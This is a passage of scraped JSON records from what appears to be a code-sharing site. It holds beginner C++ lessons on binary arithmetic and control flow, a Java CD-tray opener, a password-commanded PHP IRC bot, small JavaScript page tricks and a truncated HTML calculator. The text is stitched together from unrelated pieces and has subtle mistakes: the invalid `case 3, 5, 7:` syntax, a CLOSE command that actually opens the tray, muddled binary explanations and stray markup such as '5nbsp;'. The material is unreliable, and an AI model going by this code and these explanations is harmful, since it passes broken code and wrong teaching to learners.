Because 4 goes into 7 one time with a remainder of 3. \nPlease note that the "%" operator always returns an integer value.\n \n\n<h1>Section 1.4</h1>\nUnlike pure mathematics (the kind of math we do at school), we do not have an\ninfinite amount of memory to store some numbers. Therefore, computer\nscientists came up with ways to store numbers in finite quantities. The\ndate type int,\nfloat, and char\nare all different sizes - and determining which type you use, you must set aside\nthat number of bytes to hold it. You can use the sizeof\noperator to find out how much memory (in bytes) a type or variable holds in code\n- example: sizeof(int). \nIn the three most commonly used data types we are examining, these are the\nvalues:\n sizeof(int) = 4 \n sizeof(float) = 4 \n sizeof(char) = 1\nOn a side note, if you were running sizeof(int)\non a 16-bit compiler (ones made before Windows 95), it would return 2. \nNotice how sizeof(float)\nand sizeof(int)\nreturn the same size (each occupy four bytes in memory), but the memory is used\nmuch differently. It is all dependent on the data type used.\nNow, you are probably wondering, what on earth is a byte? \nWell, a byte consists of eight bits of information. As we unwrap this\nenigma of words, a bit is the SMALLEST piece of information that the computer\ncan work with. A bit can only be in the ON or OFF position, like your\ncomputer. This on/off system is called the binary\nsystem because there are only two numbers in the system (unlike our decimal\nsystem which contains ten). We like to represent on as a 1 and off as a 0. \nAnd if we link a bunch of 1's and 0's together, we get a number the computer can\nuse. Let's see exactly how the computer does this so we can understand the\nuse of numbers in computers better:\nWe want to see how the number 8 is represented in computers. First off,\n8 exists in our decimal system (power of tens) and we must represent it in the\nbinary system (power of twos). This is how the number 8 looks like when\nbroken down into the power of tens:\n 10^0 * 8\nAbove says take 10 to the power (^) of zero, which is 1 and multiply it by 8. \nHence we get the number eight. In the binary system, this is how it would\nlook:\n (2^3 * 1) + (2^2 * 0) + (2^1 * 0) + (2^0 * 0)\nWow! That's alot of writing. Let's examine what is going on: \n2 to the 3rd power times 1 is eight. We add that to 2 to the 2nd power\ntimes 0, which is zero. We add that to 2 to the 1st power times 0, which\nis zero. Finally, we add that to 2 to the 0 power times 0, which is zero. \nThrough all that, we get the answer of 8.\nNow, if we look at the multiplication in that binary example, you can see we\nget 01000. 01000 equals 8 in decimal. You might be wondering why I\ntook it upon myself to put an extra zero in the front of the binary number. \nThe reason we do that is because the LEFT most side of a binary number\ndetermines if the number is positive or negative. Remember computers can't\nuse all the fancy math symbols we do, so we have to have some way of making a\nnumber negative - this is our way. Since eight is a positive number, we\nmake the left-most bit a zero.\n \n\n<h1>Section 1.5</h1>\nNow what the next thing we are going to learn is binary addition and\nsubtraction. You might be sitting there wondering why we are doing this. \nThe reason is because as you get more experienced in programming, most of the\ntime you will be dealing with bits of a number, and not the number itself. \nThis is crucial.\nLet's say we are working with a byte and wanted to add the numbers 8 and 5\ntogether. This is how it would be done:\n \n<h2>Example 1</h2>\n \n 00001000 = 8 \n 00000101 = 5nbsp; = 5 \n---------------------------- \n 00001101 = 13\nLike normal math, we add from right to left: \n1. The right-most column is 0 + 1 which equals 1 \n2. Then 0 + 0 equals 0. \n3. Next 0 + 1 gives another 1. \n4. And next 1 + 0 gives another 1.\nAs you can see, it's pretty basic. Now let's look at a more complex\nexample.\n \n<h2>Example 2</h2>\n \n 00000001 = 1 \n 00001111 = 15 \n ---------------------------- \n 00010000 = 16\nHey now, this looks very different. Let's examine what is going on. \n1. When we add 1 and 1 together, we get 2 which is "10" in binary. \nSo what we do is bring down the zero and carry the one (just like good ol'\nmath). \n2. Next we have 0 + 1 + the carried 1. That yields two again. So we\ndrop the zero and carry the one. \n3. We continue this until the end.\n \n\n<h1>Section 1.6</h1>\nWe must learn how to convert decimal into binary efficiently. The rules\nare very simple: \n1) Take your number and divide by 2 \n2) Take the remainder and write it down \n3) Take the quotient and make that the number to divide for the next time \n4) Repeat step 1 through 3 until the number reaches 0 \n5) Reverse the list of all your remainders and you have the number in binary\n \n<h2>Example 3</h2>\n \n Convert decimal 16 to binary \n 16 / 2 = 8, remainder 0 \n 8 / 2 = 4, remainder 0 \n 4 / 2 = 2, remainder 0 \n 2 /2 = 1, remainder 0 \n 1 / 2 = 0, remainder 1\nNow look at the remainder list. We have 00001. Obviously, that is\nthe number 1 in decimal, so like step 5 says, reverse the list and we get 10000. \nMake sure you had that front zero to keep the number positive, so it is really\n010000.\n \n<h2>Example 4</h2>\n \n Convert decimal 11 to binary \n 11 / 2 = 5, remainder 1 \n 5 / 2 = 2, remainder 1 \n 2 / 2 = 1, remainder 0 \n 1 / 2 = 0, remainder 1\nNow we have 1101. Reverse it and add the front zero to keep the number\npositive: 01011\n \n<h1>Section 1.7</h1>\nNext up is binary subtraction. If you remember division in math, there\nis no such thing. You would invert the second factor and multiply across. \n4 divided by 2, is really 4 multiplied by 1/2, which equals 2. In binary\nsubtraction, this parallels to what we want to do. Take the second number\nand invert all the bits (turning all the zeros to ones and all the ones to\nzeros) and then add one. This process of inverting and adding one is\ncalled twos complement.\nFirst to understand complementing, let's look at an example:\n \n<h2>Example 5</h2>\n 00000101 = 5\nHere is the number five in binary. Now to find out the complement of\nthe number, invert all the bits which makes the number "11010" and\nthen add one:\n 11111010 = 5 inverted \n 00000001 = 1 \n ----------------------- \n 11111011 = -5\nHey now!!! It turns out that two's complement gives us the negative\nversion of our number, and to prove it, if we add 5 and our -5 together, we\nshould get zero:\n 11111011 = -5 \n 00000101 = 5 \n ----------------------- \n 00000000 = 0\nWe get zero!! If you noticed, we do not extend the number of bits when\nthis is done. Since we have a finite number of bits to work with and there\nis an overflow (an extra bit), we just discard\nit. Now with this knowledge, to subtract two numbers: Take the first\nnumber and add it from the two's complement of the other number.\n \n\n<h1>Section 1.8</h1>\nNow we are going to look at adding, subtracting, positive, and negative\nnumbers more in-depth. There are two type of integers: signed\nand unsigned. A signed integer means that\nthe number can be either a negative or a positive. An unsigned integer\nmeans that the number can only be zero or positive. Unsigned integers are\nuseful in absolute situations: the number of apples you have, how much a stamp\ncosts, etc. This is how you can specify the type:\n signed int i = -100; \n unsigned int j = 40;\nNow, if you don't specify the type of integer, it is automatically a signed\ninteger.\nNow, we learned that that we used the left-most bit in determining if the\nnumber is negative or not. This is ONLY the case when we work with signed\nnumbers. When the number is unsigned, the left-bit is just part of the\nnumber. In the case of the byte, these are the ranges of a byte:\n SIGNED = -128 to 127 \n(uses bits 0 through 6) \n UNSIGNED = 0 to 255 \n(uses bits 0 through 7)\nI hope you enjoyed the first of lessons in learning how to programming C++\nfrom ground-zero. There is alot of material to be covered, so pay\nattention, practice, and review.\n \n\n<h1>Keywords and Terms to Remember</h1>\nAssign \nBinary \nBit \nByte \n\n<h3>char</h3>\nCompiler \nExpression \n\n<h3>float</h3>\nFloating point \nIDE \n\n<h3>int</h3>\nLinker \nModular \nSigned \n\n<h3>sizeof</h3>\nSource \nStatement \nType \nTwos complement \nUnsigned \nVariable\n \n\n<h1>Summary</h1>\nThe four steps in making a program is: writing code, compiling, linking, and\nthen running your program.\nWhat makes up a language is: types, variables, and expressions.\nCorrect syntax is needed like any other human spoken language.\nint\nallows integer data types, float\ncreates real numbers with fractional portions, and char\nstores characters.\nThe five main math operators are: plus, minus, multiplication, division, and\nmodular division (remainder).\nThe sizeof\nkeyword returns the number of bytes a type or variable occupies.\nThe binary system is used in computers to represent numbers.\nBinary subtraction is the same as addition just with twos complement."},{"WorldId":3,"id":419,"LineNumber":1,"line":"Beginners C++ - Lesson 3 \nInstructor: Paul C. Benedict, Jr. (PCC\nPaulB) \n\n<h2>Color coded text:</h2>\n black \nNew things to Remember \n \nblue C++\nkeywords (do, while) \n green \nC++ preprocessor directives (#include, #define)\n \nSection 3.1 \nWelcome fellow programmers to our third lesson in a long series on the road to\nprogramming C++. Just like the real roads we travel on, they are not all big one\nstraight line. Just imagine how boring driving would be if you were you limited\nto one flow of direction. Just imagine how boring programs would be if it\ncouldn't branch off and make decisions. Every time you ran the program it would\nbe the same, and that would just depress us all, wouldn't it? :-) \nWe are going to learn that programs run in one big loop. Every program begins\nin a loop, and branches off to smaller loops, and smaller, etc. We will begin\nstudying what kind of loops C++ support, practice when and when not to use\ncertain types of loops, and find common mistakes. All that great boolean algebra\nwe learned will yet appear again as we learn how to control our loops! \nC++ supports these types of branching mechanisms: \nif \nif..else \nif..else..if \nswitch..case..default \nC++ supports these types of loops: \nfor \nwhile \ndo..while \nYou can make decisions using these special operators: \n Less-than \n< \n Greater-than \n> \n Less-than or equal to \n<= \n Greater-than or equal to >= \n Equal to \n== \n Not equal to \n!= \nWe will use these operators in making decisions to what the program should do\nnext. These set of operators are called "Rational and Equality\nOperators" and compare the value on the left to the value on the right.\nThese evaluate to a bool\nvalue which is true\nor false. \n \nExample 3.1.1 \n bool equal = (5 < 3); \n \nthe variable equal gets assigned the value false\nbecause 5 is defined to be greater than 3 by our math system. \n \n\n<h1>Section 3.2</h1>\nThe most simplest form of control loop is the if\nkeyword. The syntax for this keyword is as follows: \n if\n( expression ) \n statement1 \n else \n statement2 \nThe if keyword\nexecutes statement1 if expression is true\n(nonzero); if else\nis present and expression is false\n(zero), it executes statement2. After executing statement1 or\nstatement2, control passes to the next statement. \nExample 3.2.1 \n if ( i > 0 ) \n \nx = y / i; \n else \n \nx = 0; \n \nIn this example, the statement x = y / i; is executed if i is\ngreater than 0. If i is less than or equal to 0, x is assigned the\nvalue of 0. Note that the statement forming the if\nclause does not end with a semicolon. Note that again so you don't\nforget. \nLet's look at a more complex example where we want to do more than one\nstatement depending on how if the if\nclause evaluates. \nExample 3.2.2 \n if ( i >= 5 ) \n { \n \nx = 4 * i; \n \ni++; \n } \n else \n \ni = 5; \n \nIn this example, the statements x= 4 * i; and i++; are executed if\ni is greater than or equal to 5. If i is less than 5, i is\nassigned the value 5. Note that how we grouped our statement in braces {\n} to indicate two or more statements that need to be executed if the if\nclause evaluates to be true\n(nonzero). \nNow the else clause\ndoes not need to be included if you don't have any optional functionality you\nneed to be performed. It is perfectly legal to do this: \nExample 3.2.3 \n if ( i >= 5 ) \n { \n \nx = 4 * i; \n \ni++; \n } \n \nExample 3.2.4 \nBut what if we wanted to evaluate many cases? We will have to use a nested if..else..if\nstatement to accomplish this. Let's say we wanted to perform a separate action\nwhen i is 0, 1, 2, 3, 4, 5. This is how it would be coded: \n if ( i == 0 ) \n \nx = 1; \n else if ( i == 1 ) \n \nx = 2; \n else if ( i == 2 ) \n \nx = 4; \n else if ( i == 3 ) \n \nx = 8; \n else if ( i == 4 ) \n \nx = 16; \n else if ( i == 5 ) \n \nx = 32; \n \nIf i is 0, x is assigned 1, then control jumps to the end of our if\nclause. \nIf i is 1, x is assigned 2, then control jumps to the end of our if\nclause. \nIf i is 2, x is assigned 4, then control jumps to the end of our if\nclause. \nIf i is 3, x is assigned 8, then control jumps to the end of our if\nclause. \nIf i is 4, x is assigned 16, then control jumps to the end of our if\nclause. \nIf i is 5, x is assigned 32, then control jumps to the end of our if\nclause. \nFor you math gurus out there, can you see what is happening to x\ndepending on the value of i in Example 3.2.4? If anyone noticed the\nsimple pattern, you would see we are calculating the powers of 2, using i as\nour exponent. We will go back to this example many times and show you different\nmethods of doing this. \n \n\n<h1>Section 3.3</h1>\nNow just imagine if we wanted to get the answer of 2 to some variable, which\nis i, in C++. C++ does not have an exponent operator, so we\nwould have to have to have huge and ugly code like Example 4 in Section 3.2.\nFortunately, we can loop to find answers to complex problems like the 2 to the i-th\npower. This brings us to our third new keyword in our lesson. The for\nkeyword has the syntax as follows: \n for\n( init_expr; cond_expr;\nloop_expr ) \n statement \nFor even a simpler syntax of the for loop, remember this: \n for ( step1;\nstep2; step4\n) \n step3; \nWow! This is alot to digest, so lets break apart each expression and look at\neach one individually: \n \n1. The first thing that happens when a for\nloop is encountered is the init_expr expression is evaluated. init_expr\nis most commonly used to initialize a variable which will control the loop. \n2. Next cond_expr is evaluated. This expression is a conditional\nexpression, which determines if the loop will continue going or not. If cond_expr\nevaluates to true (nonzero),\nthe loop continues. If cond_expr is false\n(zero), control passes to the statement following the for\nloop. \n3. statement is executed. \n4. loop_exr is than evaluated, and goes back to step 2. \nNotice that after loop_expr there is no semicolon! \nExample 3.3.1 \n int x = 1; \n for ( int i = 1; i <=\n10; i++ ) \n \nx *= 2; \n \nLet's go through the steps of this for\nloop: \n1. First the i variable is created and initialized to 1. \n2. Next i <= 10; is evaluated next. Since i is 1 and is less\nthan 10, it evaluates true\nand we enter the loop and execute x *= 2;. \n3. Next we increment i with our loop expression, i++;. \n4. Next i <= 10; is evaluated next. Since i is 2 and is less\nthan 10, it evaulates true\nand we enter the loop and execute x *= 2;. \n5. Next we increment i with our loop expression, i++;. \n6. We continue this process until our conditional expression, i <= 10;\nevaluates for false,\nand we exit the loop. This happens when i increments to 11. \nLook at what we did! We just compacted that ugly if..else..if\nclauses into a for loop\nand we got the value of 2 to the 10th power, which is 1024! Now that surely\nbeats the latter.\nExample 3.3.2 \nBut say we didn't wanted to calculate 2 to the 10th power, we wanted to\ncalculate 2 to the nth power? We could go back and modify the example as\nfollows: \n int x = 1; \n int n = 5; \n for ( int i = 1; i\n<= n; i++ ) \n \nx *= 2; \n \nRemember that when you do programming with integers, the int\ndata type can only hold 16-bits or 32-bits (or even 64-bits)\ndepending on what bit compiler you use. So if we are using a 32-bit compiler, n\nbeing set to 19 would be safe because we have 32-bits (0 through 31) to work\nwith. If we were working on a 16-bit compiler, 19 would overflow us and x would\nbe complete junk to us. \nRemember our "bug" term from the last lesson? This unexpected\noverflow is one type of bug which can make a program spit out junk, even though\nthe logic and the program is perfectly fine. Watch out for sneaky things like\nthis. \n \n\n<h1>Section 3.4</h1>\nUsually the for loop\nis used when we want to iterate through a list of numbers. In Example 2 of\nSection 3.3, we went from 1 to n. Sometimes there is nothing to iterate\nand just want to keep on looping while a condition is true. This brings us to\nthe next kind of loop, called the while\nloop. The syntax for while\nloop is as follows: \n while ( expression ) \n statement \nThe while keyword\nexecutes statement while expression is true\n(nonzero). \nExample 3.4.1 \n bool p = false; \n int x = 0; \n while ( !p ) \n { \n x++; \n p = (x\n> 20); \n } \n x++; \n \nThis while loop\ndoes not terminate until p becomes true.\nWhen p is true,\nthe expression !p evaluates to false,\nterminating the loop, then increments x one last time. \nThe variable p that controls this loop isn't very good at describing\nwhat it does. Welcome to the world of good variable names! You have became\nadvanced enough to give good variable names. This has many advantages like not\nhaving to guess at what a variable does. This is a much better example: \nExample 3.4.2 \n bool IsXGreaterThan20 =\nfalse; \n int x = 0; \n while (\n!IsXGreaterThan20 ) \n { \n x++; \n \nIsXGreaterThan20 = (x > 20); \n } \n x++; \n \nGoing back to our "2 to the n-th power" example, we can use a while\nloop to do the same thing as the for\nloop did. (The for\nloop is more appropriate for this kind of situation, so you should\nstick with that). Just remember these two simple rules: \n 1. Use for\nwhen wanting to iterate a range of values. \n 2. Use while\nwhen you want to loop while a condition is true. \nExample 3.4.3 \n int x = 1; \n int n = 5; \n int i = 1; \n while ( i <= n ) \n { \n \nx *= 2; \n \ni++; \n } \n \n \n<h1>Section 3.5</h1>\nSometimes, it might not always be appropriate for a loop to test its\ncondition at the beginning of the loop, like the while\nloop. If you want to enter the loop and then check at the end, we use\nthe do..while\nloop. The syntax for the do..while\nloop is as follows: \n do \n statement \n while\n( expression ); \nThis works just like the while loop, except the evaluation of the expression\ncomes at the end. This kind of loop ensures the statement will be executed at\nleast one time. Therefore, we do not need to go in-depth on this section. \nExample 3.5.1 \n int y = 0; \n int x = 10; \n do \n { \n \ny = x + 5; \n \nx--; \n } while ( x > 0 ); \n \nThe loop is entered. then y gets added x + 5, then x gets\ndecremented. This loop continues running until x is no longer greater\nthan 0. So y gets added 15, then 14, 13, 12, ... until 6. \n \n\n<h1>Section 3.6</h1>\nThe last and final control statement in C++ is the switch..case..default\ntrio. This is the syntax: \n switch\n( expression ) \n { \n case\nconstant_expression: \n ... \n statement \n ... \n default: \n statement \n } \nWe use this when we want a more readable form of an if\nstatement. constant_expression must be an int\nvalue like 2, 3, -6, but not a variable or a floating point number.\nIt cannot be a variable because as the word implies, it varies. It cannot be a\nfloating point, because computers can't represent fractions perfectly, which\nwould mess up the case. \nA case is\njust like if the code read, if\n( expression == case ),\nbut much more readable. You can think of default:\nas being the else clause\nalso.\nExample 3.6.1 \nWatch how we convert the if\nclause to the switch\nclause: \n if ( x == 2 ) \n \ni = 1; \n else if ( (x == 3) || (x\n== 5) || (x == 7) ) \n \ni = 2; \n else if ( (x == 4) || (x\n== 9) ) \n \ni = 3; \n else \n \ni = 4; \n \ncan be transformed into \n switch ( x ) \n { \n case 2: \n \ni = 1; \n \nbreak; \n case 3, 5, 7: \n \ni = 2; \n \nbreak; \n case 4, 9: \n \ni = 3; \n \nbreak; \n default: \n \ni = 4; \n } \n \nNow isn't that much easier to understand? Notice the break;\nstatement. This "breaks" us out of the switch\nclause and we continue execution outside of it. If we did not have break;,\nthe next statement would keep on executing until it hits the ending right brace }.\nExample 3.6.2 \nHere is an example of the problem stated above: \n switch ( x ) \n { \n case 2: \n \ni = 1; \n case 3, 5, 7: \n \ni = 2; \n default: \n \ni = 4; \n } \n \nOh no! if x is 2, then it will assign i to 1, then 2, then 4! We\ndon't want this, so we must put our break;\nstatement in there to prevent this from happening. This is another peculiar bug\nwhich can creep into your code. \n \n\n<h1>New terms to remember</h1>\nBug \nClause \nCondition \ndefault \ndo \nelse \nfor \nif \nLoop \nswitch \nwhile \n \n\n<h1>Review problems</h1>\n01. Find the bug: \n \nint x = 2; \n \nif ( x = 0 ) \n \nx = 3; \n \nelse \n \nx = 4; \n \n02. Why doesn't this program ever make y equal to 3 when x is 0? \n \nint x = 0; \n \nint y = 0; \n \nif ( x == 0 ) \n \n{ \n \nx = 1; \n \ny = 3; \n \n} \n \nelse \n \nx = 3; \n \ny = 1; \n \n03. Write a for loop which will sum all the numbers from 1 to 20. \n04. Why doesn't this loop ever end? \n \nint n = 2; \n \nwhile ( n <= 3 ) \n \n{ \n \nn *= 2; \n \nn -= 2; \n \n} \n \n05. Convert this if..else..if\nclause into an easier reading switch\nclause: \n \nif ( (x == 0) || (x == 3) ) \n \ni++; \n \nelse if ( x == 2 ) \n \ni *= 2; \n \nelse if ( (x == 6) || (x == 4) || (x == 5) ) \n \ni = i + 5 % i; \n \nelse if ( x == 1 ) \n \ni = 2; \n \nelse \n \ni = x; \n \n06. Write a loop that sums every odd number from 1 to 255. There are two\npossible ways of doing this, do both.\n"},{"WorldId":2,"id":1659,"LineNumber":1,"line":"import com.ms.win32.*;\npublic class Cdopener\n{\n\tprivate static String OPEN = \"set cdaudio door open\";\n\tprivate static String CLOSE = \"set cdaudio door open\";\n\tprivate static final int MAX_ERROR_SIZE = 64;\n\tprivate static StringBuffer sbreturn = new StringBuffer(MAX_ERROR_SIZE);\n\t\n\tpublic static void main (String[] args)\n\t{\n\t\t//call open() to open it and close() in the main method to\n //close it\n\t}\n\t\n\tpublic static void open()\n\t{\n\t Winmm.mciSendString(OPEN,sbreturn,127,0);\t\t\n\t}\n\t\n\tpublic static void close()\n\t{\n\t Winmm.mciSendString(CLOSE,sbreturn,127,0);\t\t\n\t}\n}\n"},{"WorldId":2,"id":1904,"LineNumber":1,"line":"Upload"},{"WorldId":2,"id":1983,"LineNumber":1,"line":"Upload"},{"WorldId":8,"id":485,"LineNumber":1,"line":"THIS FILE SHOULD BE NAMED (ircBot.php)\n<?\t\n // this is the base class. do NOT \n // instatiate this. you need to write\n // a class to derive from it and implement\n // a constructor and override all of the\n // on_ functions. An example of a derived\n // runnable bot is listed beneath.\n\tclass IRC_Bot {\n \tvar $nick; \n \tvar $username;\t\t\n\t\tvar $description;\n\t\tvar $localhost;\n\t\tvar $remotehost;\n\t\tvar $remoteport;\n\t\tvar $echoincoming;\n\t\tvar $ircsocket;\n\t\tfunction IRC_Bot() { \n\t set_time_limit(0);\n\t\t\tob_end_flush();\n\t\t\techo \"\\r\\n\";\n\t\t}\n\t\tfunction bot_connect () {\n\t\t\t// connect to IRC server\n\t\t\t$this->ircsocket = fsockopen ($this->remotehost, $this->remoteport) ;\n\t\t\tif (! $this->ircsocket) {\n\t\t\t\tdie (\"Error connecting to host.\");\n\t\t\t}\n\t\t\tprint \"Connected to: $this->remotehost:$this->remoteport\\n\";\n\t\t\tfputs ($this->ircsocket, \"USER $this->username $this->localhost $this->remotehost: $this->description\\r\\n\");\n\t\t\tfputs ($this->ircsocket, \"NICK $this->nick\\r\\n\");\n\t\t}\n\t\tfunction bot_go () {\n\t\t\t// IRC loop\n\t\t\twhile (!feof($this->ircsocket)) {\n\t\t\t\t$incoming = fgets ($this->ircsocket, 1024);\n\t\t\t\t$incoming = str_replace( \"\\r\", \"\", $incoming);\n\t\t\t\t$incoming = str_replace(\"\\n\", \"\", $incoming);\n\t\t\t\tif ($this->echoincoming) echo $incoming . \"\\n\";\n\t\t\t\tif (substr($incoming, 0, 1) == \":\") {\n\t\t\t\t\t$prefix = substr ($incoming, 0, strpos($incoming, ' ')); \n\t\t\t\t\t$incoming = substr ($incoming, strpos($incoming, ' ') + 1);\n\t\t\t\t} else {\n\t\t\t\t\t$prefix = \"\";\n\t\t\t\t}\n\t\t\t\t$command = substr ($incoming, 0, strpos($incoming, ' '));\n\t\t\t\t$incoming = substr ($incoming, strpos($incoming, ' ') + 1);\n\t\t\t\t$params = explode (\" \", $incoming);\n\t\t\t\tif ($command == \"PING\") fputs($this->ircsocket, \"PONG\\r\\n\");\n\t\t\t\t$this->bot_parse ($prefix, $command, $params);\n\t\t\t}\t\t\n\t\t\tfputs($this->ircsocket, \"QUIT Unexpected\\r\\n\");\n\t\t}\n\t\t\n\t\tfunction bot_parse ($prefix, $command, $params) {\n\t\t\tif ($command == \"PRIVMSG\") {\n\t\t\t\t$nick = substr ($prefix, strpos($prefix, \":\") + 1, strpos($prefix, \"!\") - 1);\n\t\t\t\t$ident = substr ($prefix, strpos($prefix, \"!\"));\n\t\t\t\t$target = array_shift ($params);\n\t\t\t\t$params[0] = substr ($params[0], 1);\n\t\t\t\tif (substr($target, 0, 1) == \"#\") {\n\t\t\t\t\t$this->on_channel_msg ($nick, $ident, $target, $params);\n\t\t\t\t} else {\t\t\t\t\n\t\t\t\t\t$this->on_private_msg ($nick, $ident, $params);\n\t\t\t\t}\n\t\t\t}\n\t\t\tif ($command == \"NOTICE\") {\n\t\t\t\t$nick = substr ($prefix, strpos($prefix, \":\") + 1, strpos($prefix, \"!\") - 1);\n\t\t\t\t$ident = substr ($prefix, strpos($prefix, \"!\"));\n\t\t\t\tarray_shift ($params);\n\t\t\t\t$params[0] = substr ($params[0], 1);\n\t\t\t\t$this->on_notice ($nick, $ident, $params);\n\t\t\t}\n\t\t}\n\n\t\t////////////////////////////////////////////////////\n\t\t//\t\t\t\tIRC FUNCTIONS (call these to perform various irc tasks.)\t //\n\t\t////////////////////////////////////////////////////\n\t\tfunction irc_write ($message) {\n\t\t\tfputs ($this->ircsocket, $message . \"\\r\\n\");\n\t\t}\n\t\t\n\t\tfunction irc_join ($channel) {\n\t\t\t$this->irc_write(\"JOIN $channel\");\n\t\t}\n\t\tfunction irc_part($channel) {\n\t\t\t$this->irc_write(\"PART $channel\");\n\t\t}\n\t\tfunction irc_quit ($reason) {\n\t\t\t$this->irc_write(\"QUIT :$reason\");\n\t\t}\n\t\tfunction irc_notice ($user, $message) {\n\t\t\t$this->irc_write(\"NOTICE :$message\");\n\t\t}\n\t\t\n\t\tfunction irc_msg ($user, $message) {\n\t\t\t$this->irc_write(\"PRIVMSG $user :$message\");\n\t\t}\n\t\tfunction irc_action ($user, $message) {\n\t\t\t$this->irc_write (\"PRIVMSG $user :\" . chr(1) .\"ACTION $message\");\n\t\t}\t\t\n\t\tfunction irc_mode ($channel, $user, $mode) {\n\t\t\t$this->irc_write (\"MODE $channel $mode $user\");\n\t\t}\n\t\tfunction irc_op ($channel, $user) {\n\t\t\t$this->irc_mode ($channel, $user, \"+o\");\n\t\t}\n\t\tfunction irc_deop ($channel, $user) {\n\t\t\t$this->irc_mode ($channel, $user, \"-o\");\n\t\t}\n\n\t\t\n\t\t////////////////////////////////////////////////////\n\t\t//\t\t\t\tIRC EVENTS (override these in your derived class.)\t\t\t\t //\n\t\t////////////////////////////////////////////////////\n\t\t\n\t\tfunction on_private_msg ($nick, $ident, $params) {\n\t\t}\n\t\t\n\t\tfunction on_channel_msg ($nick, $ident, $chan, $params) {\n\t\t}\t\t\n\t\tfunction on_notice ($nick, $ident, $params) {\n\t\t}\n\t\t\n\t\t\n\t}\n ?>\n\n\n\n\nPUT ALL THIS IN A DIFFERENT FILE (silverbot.php):\n<?\n // this is an example of a runnable \n // derived bot. run this file at the\n // commandline. DO NOT run it as a\n // web document. it will hang in memory\n // you have been warned.\n\tdefine (\"BOT_PASSWORD\", \"fruitloops\");\n\tinclude (\"ircbot.php\");\n\n\tclass Silver_Bot extends IRC_Bot {\n\t\tfunction Silver_Bot ($n = \"HBSilver\", $r = \"irc.dal.net\", $p = 6667, $e = true, $d = \"Hobbit Bot Silver\", $u = \"HBSilver\", $l = \"localhost\") {\n\t\t\t$this->IRC_Bot();\n\t\t\t$this->nick = $n;\n\t\t\t$this->username = $u;\n\t\t\t$this->description = $d;\n\t\t\t$this->localhost = $l;\n\t\t\t$this->remotehost = $r;\n\t\t\t$this->remoteport = $p;\n\t\t\t$this->echoincoming = $e;\n\t\t}\n\t\t\n\t\tfunction on_notice ($nick, $ident, $params) {\n\t\t\t$password = array_shift ($params);\n\t\t\tif ($password == BOT_PASSWORD) {\n\t\t\t\t$command = array_shift ($params);\n\t\t\t\tswitch ($command) {\n\t\t\t\tcase \"JOIN\":\n\t\t\t\t\t$this->irc_join ($params[0]);\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"PART\":\n\t\t\t\t\t$this->irc_part ($params[0]);\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"QUIT\":\n\t\t\t\t\t$this->irc_quit (join($params, \" \"));\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"MSG\":\n\t\t\t\t\t$user = array_shift ($params);\n\t\t\t\t\t$this->irc_msg($user, join($params, \" \"));\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"OP\":\n\t\t\t\t\t$this->irc_op($params[0], $params[1]);\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"DEOP\":\n\t\t\t\t\t$this->irc_deop($params[0], $params[1]);\n\t\t\t\t\tbreak;\n\t\t\t\tcase \"ACTION\":\n\t\t\t\t\t$user = array_shift ($params);\n\t\t\t\t\t$this->irc_action($user, join($params, \" \"));\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t$this->irc_msg($nick, \"You are not my master.\");\n\t\t\t}\n\t\t}\n\t}\n\t// this instantiates a new silverbot\n // and gets it going. \n\t$mysilver = new Silver_Bot(\"HBSilver\", \"irc.dal.net\");\n\techo $mysilver->bot_connect();\n\techo $mysilver->bot_go();\n?>"},{"WorldId":2,"id":1679,"LineNumber":1,"line":"// designed by Java_Hunter (java_hunter@hotmail.com)\nif (window != window.top) top.location.href = location.href;\n"},{"WorldId":2,"id":1729,"LineNumber":1,"line":"Upload"},{"WorldId":2,"id":1975,"LineNumber":1,"line":"Upload"},{"WorldId":2,"id":1735,"LineNumber":1,"line":"<script language=\"javascript\">function click() {if (event.button==2) { alert('Nice Try !') } } document.onmousedown=click </script>"},{"WorldId":2,"id":1742,"LineNumber":1,"line":" \n</script>"},{"WorldId":2,"id":1746,"LineNumber":1,"line":"Upload"},{"WorldId":2,"id":1749,"LineNumber":1,"line":"<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0 Transitional//EN\">\n<HTML>\n<HEAD>\n<TITLE>Calculator</TITLE>\n\n\n<SCRIPT LANGUAGE=\"javascript\">\n\n\n\n</SCRIPT>\n</HEAD>\n\n<BODY onload=\"reset();\">\n\n<CENTER>\n\n<FORM NAME=\"f\">\n<TABLE BGCOLOR=#000000 WIDTH=400 BORDER=5 CELLSPACING=2 CELLPADDING=2>\n <TR>\n <TD BGCOLOR=#C0C0C0 COLSPAN=7 ALIGN=RIGHT>\n\t <INPUT NAME=\"display\" TYPE=TEXT VALUE=0 SIZE=25>\n\t <INPUT NAME=\"stack\" TYPE=HIDDEN VALUE=0>\n </TD>\n </TR>\n <TR>\n <TD BGCOLOR=#FF0000><INPUT TYPE=BUTTON VALUE=\" Help \" onclick=\"helpFile();\"></TD>\n <TD BGCOLOR=#0000FF><INPUT TYPE=BUTTON VALUE=\" Num \" onclick=\"random()+addChar(display,mikesnum)+addChar(stack,mikesnum);\"></TD>\n <TD BGCOLOR=#0000FF><INPUT TYPE=BUTTON VALUE=\" <00> \" onclick=\"onlyTwo();\"></TD>\n <TD BGCOLOR=#008000><INPUT TYPE=BUTTON VALUE=\" <-> \" onclick=\"round();\"></TD>\n <TD BGCOLOR=#800080><INPUT TYPE=BUTTON VALUE=\" M2+ \" onclick=\"mem(2);\"></TD>\n <TD BGCOLOR=#800080><INPUT TYPE=BUTTON VALUE=\"M2R \" onclick=\"mem(-2);\"></TD>\n <TD BGCOLOR=#800080><INPUT TYPE=BUTTON VALUE=\" M2C\" onclick=\"mem(3);\"></TD>\n </TR>\n <TR>\n <TD BGCOLOR=#FF0000><INPUT TYPE=BUTTON VALUE=\" Clear\" onclick=\"newSlate();\"></TD>\n <TD BGCOLOR=#0000FF><INPUT TYPE=BUTTON VALUE=\" x ┬│ \" onclick=\"addChar(display.value)+cube();\"></TD>\n <TD BGCOLOR=#0000FF><INPUT TYPE=BUTTON VALUE=\" x ┬▓ \" onclick=\"addChar(display.value)+square();\"></TD>\n <TD BGCOLOR=#008000><INPUT TYPE=BUTTON VALUE=\" % \" onclick=\"perCent();\"></TD>\n <TD BGCOLOR=#800080><INPUT TYPE=BUTTON VALUE=\" M+ \" onclick=\"mem(1);\"></TD>\n <TD BGCOLOR=#800080><INPUT TYPE=BUTTON 